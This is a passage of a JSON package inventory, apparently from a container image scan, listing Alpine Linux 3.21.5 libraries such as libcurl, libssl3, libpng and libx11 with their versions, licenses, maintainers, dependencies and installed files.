"sha1:023153a2f28d5ba21f252cfbda08931431cbd38d", "InstalledFiles": [ "usr/lib/libbsd.so.0", "usr/lib/libbsd.so.0.12.2" ], "AnalyzedBy": "apk" }, { "ID": "libbz2@1.0.8-r6", "Name": "libbz2", "Identifier": { "PURL": "pkg:apk/alpine/libbz2@1.0.8-r6?arch=x86_64\u0026distro=3.21.5", "UID": "68ca16760186f1f7" }, "Version": "1.0.8-r6", "Arch": "x86_64", "SrcName": "bzip2", "SrcVersion": "1.0.8-r6", "Licenses": [ "bzip-2-1.0.6" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:54f88b518e92e39616f55bff21e0c3c1eec44446", "InstalledFiles": [ "usr/lib/libbz2.so.1", "usr/lib/libbz2.so.1.0.8" ], "AnalyzedBy": "apk" }, { "ID": "libcom_err@1.47.1-r1", "Name": "libcom_err", "Identifier": { "PURL": "pkg:apk/alpine/libcom_err@1.47.1-r1?arch=x86_64\u0026distro=3.21.5", "UID": "9ea7f0ab0731d03d" }, "Version": "1.47.1-r1", "Arch": "x86_64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.1-r1", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "BSD-3-Clause", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:fadca43c547e85389b2b11af9197aa8562e9ea45", "InstalledFiles": [ "usr/lib/libcom_err.so.2", "usr/lib/libcom_err.so.2.1" ], "AnalyzedBy": "apk" }, { "ID": "libcrypto3@3.3.5-r0", "Name": "libcrypto3", "Identifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "Version": "3.3.5-r0", "Arch": "x86_64", "SrcName": "openssl", "SrcVersion": "3.3.5-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:58660d06cbe9b18680a8d6856f20d788b1732347", "InstalledFiles": [ "etc/ssl/ct_log_list.cnf", "etc/ssl/ct_log_list.cnf.dist", "etc/ssl/openssl.cnf", "etc/ssl/openssl.cnf.dist", "usr/lib/libcrypto.so.3", "usr/lib/engines-3/afalg.so", "usr/lib/engines-3/capi.so", "usr/lib/engines-3/loader_attic.so", "usr/lib/engines-3/padlock.so", "usr/lib/ossl-modules/legacy.so" ], "AnalyzedBy": "apk" }, { "ID": "libcurl@8.14.1-r2", "Name": "libcurl", "Identifier": { "PURL": "pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "834cb34e5fa41694" }, "Version": "8.14.1-r2", "Arch": "x86_64", "SrcName": "curl", "SrcVersion": "8.14.1-r2", "Licenses": [ "curl" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "brotli-libs@1.1.0-r2", "c-ares@1.34.6-r0", "ca-certificates-bundle@20250911-r0", "libcrypto3@3.3.5-r0", "libidn2@2.3.7-r0", "libpsl@0.21.5-r3", "libssl3@3.3.5-r0", "musl@1.2.5-r9", "nghttp2-libs@1.64.0-r0", "zlib@1.3.1-r2", "zstd-libs@1.5.6-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:c13d0c669890aa94d9b57b8e2e313ef27d750b1f", "InstalledFiles": [ "usr/lib/libcurl.so.4", "usr/lib/libcurl.so.4.8.0" ], "AnalyzedBy": "apk" }, { "ID": "libedit@20240808.3.1-r0", "Name": "libedit", "Identifier": { "PURL": "pkg:apk/alpine/libedit@20240808.3.1-r0?arch=x86_64\u0026distro=3.21.5", "UID": "e02a6b8e8980ac87" }, "Version": "20240808.3.1-r0", "Arch": "x86_64", "SrcName": "libedit", "SrcVersion": "20240808.3.1-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libncursesw@6.5_p20241006-r3", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:0946378ee8c865ee73813a2c9632c87f50dc604f", "InstalledFiles": [ "usr/lib/libedit.so.0", "usr/lib/libedit.so.0.0.74" ], "AnalyzedBy": "apk" }, { "ID": "libexpat@2.7.3-r0", "Name": "libexpat", "Identifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "Version": "2.7.3-r0", "Arch": "x86_64", "SrcName": "expat", "SrcVersion": "2.7.3-r0", "Licenses": [ "MIT" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:725c6564fd582f6c60fc7008277ef2cb05076b73", "InstalledFiles": [ "usr/lib/libexpat.so.1", "usr/lib/libexpat.so.1.11.1" ], "AnalyzedBy": "apk" }, { "ID": "libffi@3.4.7-r0", "Name": "libffi", "Identifier": { "PURL": "pkg:apk/alpine/libffi@3.4.7-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f8faa7473f2fb614" }, "Version": "3.4.7-r0", "Arch": "x86_64", "SrcName": "libffi", "SrcVersion": "3.4.7-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:1e1f0d2d6f18a06f48d3b34d0bbddbfe7c77e23a", "InstalledFiles": [ "usr/lib/libffi.so.8", "usr/lib/libffi.so.8.1.4" ], "AnalyzedBy": "apk" }, { "ID": "libgcc@14.2.0-r4", "Name": "libgcc", "Identifier": { "PURL": "pkg:apk/alpine/libgcc@14.2.0-r4?arch=x86_64\u0026distro=3.21.5", "UID": "595ba1f60ecb7aa4" }, "Version": "14.2.0-r4", "Arch": "x86_64", "SrcName": "gcc", "SrcVersion": "14.2.0-r4", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Ariadne Conill \u003cariadne@dereferenced.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:b875969aa737f53cf28f8b5d50bb266d793a5664", "InstalledFiles": [ "usr/lib/libgcc_s.so.1" ], "AnalyzedBy": "apk" }, { "ID": "libidn2@2.3.7-r0", "Name": "libidn2", "Identifier": { "PURL": "pkg:apk/alpine/libidn2@2.3.7-r0?arch=x86_64\u0026distro=3.21.5", "UID": "7a5029ce71d1e992" }, "Version": "2.3.7-r0", "Arch": "x86_64", "SrcName": "libidn2", "SrcVersion": "2.3.7-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libunistring@1.2-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:ae3b64134ad2a63718269dac2826bc514a3445e2", "InstalledFiles": [ "usr/lib/libidn2.so.0", "usr/lib/libidn2.so.0.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libintl@0.22.5-r0", "Name": "libintl", "Identifier": { "PURL": "pkg:apk/alpine/libintl@0.22.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "8042f9b62820ffd5" }, "Version": "0.22.5-r0", "Arch": "x86_64", "SrcName": "gettext", "SrcVersion": "0.22.5-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:c3f183a55f73801890303634540cf1c84530cc17", "InstalledFiles": [ "usr/lib/libintl.so.8", "usr/lib/libintl.so.8.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libjpeg-turbo@3.0.4-r0", "Name": "libjpeg-turbo", "Identifier": { "PURL": "pkg:apk/alpine/libjpeg-turbo@3.0.4-r0?arch=x86_64\u0026distro=3.21.5", "UID": "ce7c4f98748ac90e" }, "Version": "3.0.4-r0", "Arch": "x86_64", "SrcName": "libjpeg-turbo", "SrcVersion": "3.0.4-r0", "Licenses": [ "BSD-3-Clause", "IJG", "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:abb9c7382cb64be058062071b7272420b559a0bd", "InstalledFiles": [ "usr/lib/libjpeg.so.8", "usr/lib/libjpeg.so.8.3.2" ], "AnalyzedBy": "apk" }, { "ID": "libjpeg-turbo-dev@3.0.4-r0", "Name": "libjpeg-turbo-dev", "Identifier": { "PURL": "pkg:apk/alpine/libjpeg-turbo-dev@3.0.4-r0?arch=x86_64\u0026distro=3.21.5", "UID": "58fe382b48374924" }, "Version": "3.0.4-r0", "Arch": "x86_64", "SrcName": "libjpeg-turbo", "SrcVersion": "3.0.4-r0", "Licenses": [ "BSD-3-Clause", "IJG", "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libjpeg-turbo@3.0.4-r0", "libturbojpeg@3.0.4-r0", "pkgconf@2.3.0-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:84e172b352c98e556c848dc35d99c3e15b1a5a84", "InstalledFiles": [ "usr/include/jconfig.h", "usr/include/jerror.h", "usr/include/jmorecfg.h", "usr/include/jpeglib.h", "usr/include/turbojpeg.h", "usr/lib/libjpeg.so", "usr/lib/libturbojpeg.so", "usr/lib/cmake/libjpeg-turbo/libjpeg-turboConfig.cmake", "usr/lib/cmake/libjpeg-turbo/libjpeg-turboConfigVersion.cmake", "usr/lib/cmake/libjpeg-turbo/libjpeg-turboTargets-none.cmake", "usr/lib/cmake/libjpeg-turbo/libjpeg-turboTargets.cmake", "usr/lib/pkgconfig/libjpeg.pc", "usr/lib/pkgconfig/libturbojpeg.pc" ], "AnalyzedBy": "apk" }, { "ID": "libmd@1.1.0-r0", "Name": "libmd", "Identifier": { "PURL": "pkg:apk/alpine/libmd@1.1.0-r0?arch=x86_64\u0026distro=3.21.5", "UID": "9d51cc7dab98483b" }, "Version": "1.1.0-r0", "Arch": "x86_64", "SrcName": "libmd", "SrcVersion": "1.1.0-r0", "Licenses": [ "BSD-3-Clause", "BSD-2-Clause", "ISC", "Beerware", "Public", "Domain" ], "Maintainer": "omni \u003comni+alpine@hack.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:a80e622a84ee4a3f53062a516bb8b1d92a60497b", "InstalledFiles": [ "usr/lib/libmd.so.0", "usr/lib/libmd.so.0.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libncursesw@6.5_p20241006-r3", "Name": "libncursesw", "Identifier": { "PURL": "pkg:apk/alpine/libncursesw@6.5_p20241006-r3?arch=x86_64\u0026distro=3.21.5", "UID": "75cdd41a72db6f1" }, "Version": "6.5_p20241006-r3", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.5_p20241006-r3", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9", "ncurses-terminfo-base@6.5_p20241006-r3" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:1f4a0b567990a75699de992aa91da75bad914a57", "InstalledFiles": [ "usr/lib/libncursesw.so.6", "usr/lib/libncursesw.so.6.5" ], "AnalyzedBy": "apk" }, { "ID": "libnsl@2.0.1-r0", "Name": "libnsl", "Identifier": { "PURL": "pkg:apk/alpine/libnsl@2.0.1-r0?arch=x86_64\u0026distro=3.21.5", "UID": "9057250f5191ae3a" }, "Version": "2.0.1-r0", "Arch": "x86_64", "SrcName": "libnsl", "SrcVersion": "2.0.1-r0", "Licenses": [ "LGPL-2.0-or-later" ], "Maintainer": "Valery Kartel \u003cvalery.kartel@gmail.com\u003e", "DependsOn": [ "libintl@0.22.5-r0", "libtirpc@1.3.5-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:3a613a31b8318cd70b67c824c0ba76b236401bbd", "InstalledFiles": [ "usr/lib/libnsl.so.3", "usr/lib/libnsl.so.3.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libpanelw@6.5_p20241006-r3", "Name": "libpanelw", "Identifier": { "PURL": "pkg:apk/alpine/libpanelw@6.5_p20241006-r3?arch=x86_64\u0026distro=3.21.5", "UID": "bc19a00a809b43ea" }, "Version": "6.5_p20241006-r3", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.5_p20241006-r3", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libncursesw@6.5_p20241006-r3", "musl@1.2.5-r9", "ncurses-terminfo-base@6.5_p20241006-r3" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:b7928b751d482d3ee192ef1cb0f4b8de1baa0b20", "InstalledFiles": [ "usr/lib/libpanelw.so.6", "usr/lib/libpanelw.so.6.5" ], "AnalyzedBy": "apk" }, { "ID": "libpng@1.6.53-r0", "Name": "libpng", "Identifier": { "PURL": "pkg:apk/alpine/libpng@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a32568af50b10dba" }, "Version": "1.6.53-r0", "Arch": "x86_64", "SrcName": "libpng", "SrcVersion": "1.6.53-r0", "Licenses": [ "Libpng" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:56ea013fd6ba6bb52732adf087bd1bb390245c50", "InstalledFiles": [ "usr/lib/libpng16.so.16", "usr/lib/libpng16.so.16.53.0" ], "AnalyzedBy": "apk" }, { "ID": "libpng-dev@1.6.53-r0", "Name": "libpng-dev", "Identifier": { "PURL": "pkg:apk/alpine/libpng-dev@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "ee6f60e45eb1a022" }, "Version": "1.6.53-r0", "Arch": "x86_64", "SrcName": "libpng", "SrcVersion": "1.6.53-r0", "Licenses": [ "Libpng" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libpng@1.6.53-r0", "pkgconf@2.3.0-r0", "zlib-dev@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:71f882f0ee6abda1ac7c89166203d9cf92817ab0", "InstalledFiles": [ "usr/bin/libpng-config", "usr/bin/libpng16-config", "usr/include/png.h", "usr/include/pngconf.h", "usr/include/pnglibconf.h", "usr/include/libpng16/png.h", "usr/include/libpng16/pngconf.h", "usr/include/libpng16/pnglibconf.h", "usr/lib/libpng.so", "usr/lib/libpng16.so", "usr/lib/pkgconfig/libpng.pc", "usr/lib/pkgconfig/libpng16.pc" ], "AnalyzedBy": "apk" }, { "ID": "libpsl@0.21.5-r3", "Name": "libpsl", "Identifier": { "PURL": "pkg:apk/alpine/libpsl@0.21.5-r3?arch=x86_64\u0026distro=3.21.5", "UID": "240880a372fa2415" }, "Version": "0.21.5-r3", "Arch": "x86_64", "SrcName": "libpsl", "SrcVersion": "0.21.5-r3", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libidn2@2.3.7-r0", "libunistring@1.2-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:9d21a9cf20d165ea68eafc7566a5da16ce9eabfc", "InstalledFiles": [ "usr/lib/libpsl.so.5", "usr/lib/libpsl.so.5.3.5" ], "AnalyzedBy": "apk" }, { "ID": "libssl3@3.3.5-r0", "Name": "libssl3", "Identifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "Version": "3.3.5-r0", "Arch": "x86_64", "SrcName": "openssl", "SrcVersion": "3.3.5-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.3.5-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:6d1b46956b699923dfc7b5217178bc44c090d14d", "InstalledFiles": [ "usr/lib/libssl.so.3" ], "AnalyzedBy": "apk" }, { "ID": "libtirpc@1.3.5-r0", "Name": "libtirpc", "Identifier": { "PURL": "pkg:apk/alpine/libtirpc@1.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "9f843b39cfcaf60e" }, "Version": "1.3.5-r0", "Arch": "x86_64", "SrcName": "libtirpc", "SrcVersion": "1.3.5-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "krb5-libs@1.21.3-r0", "libtirpc-conf@1.3.5-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:f110fc99b234f7808622abb3ff4a65d9d2cf4be3", "InstalledFiles": [ "usr/lib/libtirpc.so.3", "usr/lib/libtirpc.so.3.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libtirpc-conf@1.3.5-r0", "Name": "libtirpc-conf", "Identifier": { "PURL": "pkg:apk/alpine/libtirpc-conf@1.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4b1fd5c09318a135" }, "Version": "1.3.5-r0", "Arch": "x86_64", "SrcName": "libtirpc", "SrcVersion": "1.3.5-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:e10eac0d013b135befa2311a7ef3791424895595", "InstalledFiles": [ "etc/bindresvport.blacklist", "etc/netconfig" ], "AnalyzedBy": "apk" }, { "ID": "libturbojpeg@3.0.4-r0", "Name": "libturbojpeg", "Identifier": { "PURL": "pkg:apk/alpine/libturbojpeg@3.0.4-r0?arch=x86_64\u0026distro=3.21.5", "UID": "6c43b56cf7ed8249" }, "Version": "3.0.4-r0", "Arch": "x86_64", "SrcName": "libjpeg-turbo", "SrcVersion": "3.0.4-r0", "Licenses": [ "BSD-3-Clause", "IJG", "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:9994f121b6808bd8a7c45c0178e69540245de209", "InstalledFiles": [ "usr/lib/libturbojpeg.so.0", "usr/lib/libturbojpeg.so.0.3.0" ], "AnalyzedBy": "apk" }, { "ID": "libunistring@1.2-r0", "Name": "libunistring", "Identifier": { "PURL": "pkg:apk/alpine/libunistring@1.2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "afda0efd6d9fe81d" }, "Version": "1.2-r0", "Arch": "x86_64", "SrcName": "libunistring", "SrcVersion": "1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:79aac0821ef4e14fc6ceaacfbf7c2a770a80cf78", "InstalledFiles": [ "usr/lib/libunistring.so.5", "usr/lib/libunistring.so.5.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libuuid@2.40.4-r1", "Name": "libuuid", "Identifier": { "PURL": "pkg:apk/alpine/libuuid@2.40.4-r1?arch=x86_64\u0026distro=3.21.5", "UID": "1955cd330a5ab9e8" }, "Version": "2.40.4-r1", "Arch": "x86_64", "SrcName": "util-linux", "SrcVersion": "2.40.4-r1", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:8d5e7fbe81f31a882f22c00eba732dcf45a7e90c", "InstalledFiles": [ "usr/lib/libuuid.so.1", "usr/lib/libuuid.so.1.3.0" ], "AnalyzedBy": "apk" }, { "ID": "libverto@0.3.2-r2", "Name": "libverto", "Identifier": { "PURL": "pkg:apk/alpine/libverto@0.3.2-r2?arch=x86_64\u0026distro=3.21.5", "UID": "67e5fa5840c0d028" }, "Version": "0.3.2-r2", "Arch": "x86_64", "SrcName": "libverto", "SrcVersion": "0.3.2-r2", "Licenses": [ "MIT" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:154644a18e6de4d3b6d9d6c2c35d28826b9167a1", "InstalledFiles": [ "usr/lib/libverto.so.1", "usr/lib/libverto.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libx11@1.8.10-r0", "Name": "libx11", "Identifier": { "PURL": "pkg:apk/alpine/libx11@1.8.10-r0?arch=x86_64\u0026distro=3.21.5", "UID": "bcaba29905192ed8" }, "Version": "1.8.10-r0", "Arch": "x86_64", "SrcName": "libx11", "SrcVersion": "1.8.10-r0", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libxcb@1.16.1-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:4bd7767e9ced8cd47fc870a0647c5408a3cc7ed2", "InstalledFiles": [ "usr/lib/libX11-xcb.so.1", "usr/lib/libX11-xcb.so.1.0.0", "usr/lib/libX11.so.6", "usr/lib/libX11.so.6.4.0", "usr/share/X11/XErrorDB", "usr/share/X11/Xcms.txt", "usr/share/X11/locale/compose.dir", "usr/share/X11/locale/locale.alias", "usr/share/X11/locale/locale.dir", "usr/share/X11/locale/C/Compose", "usr/share/X11/locale/C/XI18N_OBJS", "usr/share/X11/locale/C/XLC_LOCALE", "usr/share/X11/locale/am_ET.UTF-8/Compose", "usr/share/X11/locale/am_ET.UTF-8/XI18N_OBJS", "usr/share/X11/locale/am_ET.UTF-8/XLC_LOCALE", "usr/share/X11/locale/armscii-8/Compose", "usr/share/X11/locale/armscii-8/XI18N_OBJS", "usr/share/X11/locale/armscii-8/XLC_LOCALE", "usr/share/X11/locale/cs_CZ.UTF-8/Compose", "usr/share/X11/locale/cs_CZ.UTF-8/XI18N_OBJS", "usr/share/X11/locale/cs_CZ.UTF-8/XLC_LOCALE", "usr/share/X11/locale/el_GR.UTF-8/Compose", "usr/share/X11/locale/el_GR.UTF-8/XI18N_OBJS", "usr/share/X11/locale/el_GR.UTF-8/XLC_LOCALE", "usr/share/X11/locale/en_US.UTF-8/Compose", "usr/share/X11/locale/en_US.UTF-8/XI18N_OBJS", "usr/share/X11/locale/en_US.UTF-8/XLC_LOCALE", "usr/share/X11/locale/fi_FI.UTF-8/Compose", "usr/share/X11/locale/fi_FI.UTF-8/XI18N_OBJS", "usr/share/X11/locale/fi_FI.UTF-8/XLC_LOCALE", "usr/share/X11/locale/georgian-academy/Compose", "usr/share/X11/locale/georgian-academy/XI18N_OBJS", "usr/share/X11/locale/georgian-academy/XLC_LOCALE", "usr/share/X11/locale/georgian-ps/Compose", "usr/share/X11/locale/georgian-ps/XI18N_OBJS", "usr/share/X11/locale/georgian-ps/XLC_LOCALE", "usr/share/X11/locale/ibm-cp1133/Compose", "usr/share/X11/locale/ibm-cp1133/XI18N_OBJS", "usr/share/X11/locale/ibm-cp1133/XLC_LOCALE", "usr/share/X11/locale/iscii-dev/Compose", "usr/share/X11/locale/iscii-dev/XI18N_OBJS", "usr/share/X11/locale/iscii-dev/XLC_LOCALE", "usr/share/X11/locale/isiri-3342/Compose", "usr/share/X11/locale/isiri-3342/XI18N_OBJS", "usr/share/X11/locale/isiri-3342/XLC_LOCALE", "usr/share/X11/locale/iso8859-1/Compose", "usr/share/X11/locale/iso8859-1/XI18N_OBJS", "usr/share/X11/locale/iso8859-1/XLC_LOCALE", "usr/share/X11/locale/iso8859-10/Compose", "usr/share/X11/locale/iso8859-10/XI18N_OBJS", "usr/share/X11/locale/iso8859-10/XLC_LOCALE", "usr/share/X11/locale/iso8859-11/Compose", "usr/share/X11/locale/iso8859-11/XI18N_OBJS", "usr/share/X11/locale/iso8859-11/XLC_LOCALE", "usr/share/X11/locale/iso8859-13/Compose", "usr/share/X11/locale/iso8859-13/XI18N_OBJS", "usr/share/X11/locale/iso8859-13/XLC_LOCALE", "usr/share/X11/locale/iso8859-14/Compose", "usr/share/X11/locale/iso8859-14/XI18N_OBJS", "usr/share/X11/locale/iso8859-14/XLC_LOCALE", "usr/share/X11/locale/iso8859-15/Compose", "usr/share/X11/locale/iso8859-15/XI18N_OBJS", "usr/share/X11/locale/iso8859-15/XLC_LOCALE", "usr/share/X11/locale/iso8859-2/Compose", "usr/share/X11/locale/iso8859-2/XI18N_OBJS", "usr/share/X11/locale/iso8859-2/XLC_LOCALE", "usr/share/X11/locale/iso8859-3/Compose", "usr/share/X11/locale/iso8859-3/XI18N_OBJS", "usr/share/X11/locale/iso8859-3/XLC_LOCALE", "usr/share/X11/locale/iso8859-4/Compose", "usr/share/X11/locale/iso8859-4/XI18N_OBJS", "usr/share/X11/locale/iso8859-4/XLC_LOCALE", "usr/share/X11/locale/iso8859-5/Compose", "usr/share/X11/locale/iso8859-5/XI18N_OBJS", "usr/share/X11/locale/iso8859-5/XLC_LOCALE", "usr/share/X11/locale/iso8859-6/Compose", "usr/share/X11/locale/iso8859-6/XI18N_OBJS", "usr/share/X11/locale/iso8859-6/XLC_LOCALE", "usr/share/X11/locale/iso8859-7/Compose", "usr/share/X11/locale/iso8859-7/XI18N_OBJS", "usr/share/X11/locale/iso8859-7/XLC_LOCALE", "usr/share/X11/locale/iso8859-8/Compose", "usr/share/X11/locale/iso8859-8/XI18N_OBJS", "usr/share/X11/locale/iso8859-8/XLC_LOCALE", "usr/share/X11/locale/iso8859-9/Compose", "usr/share/X11/locale/iso8859-9/XI18N_OBJS", "usr/share/X11/locale/iso8859-9/XLC_LOCALE", "usr/share/X11/locale/iso8859-9e/Compose", "usr/share/X11/locale/iso8859-9e/XI18N_OBJS", "usr/share/X11/locale/iso8859-9e/XLC_LOCALE", "usr/share/X11/locale/ja/Compose", "usr/share/X11/locale/ja/XI18N_OBJS", "usr/share/X11/locale/ja/XLC_LOCALE", "usr/share/X11/locale/ja.JIS/Compose", "usr/share/X11/locale/ja.JIS/XI18N_OBJS", "usr/share/X11/locale/ja.JIS/XLC_LOCALE", "usr/share/X11/locale/ja.SJIS/Compose", "usr/share/X11/locale/ja.SJIS/XI18N_OBJS", "usr/share/X11/locale/ja.SJIS/XLC_LOCALE", "usr/share/X11/locale/ja_JP.UTF-8/Compose", "usr/share/X11/locale/ja_JP.UTF-8/XI18N_OBJS", "usr/share/X11/locale/ja_JP.UTF-8/XLC_LOCALE", 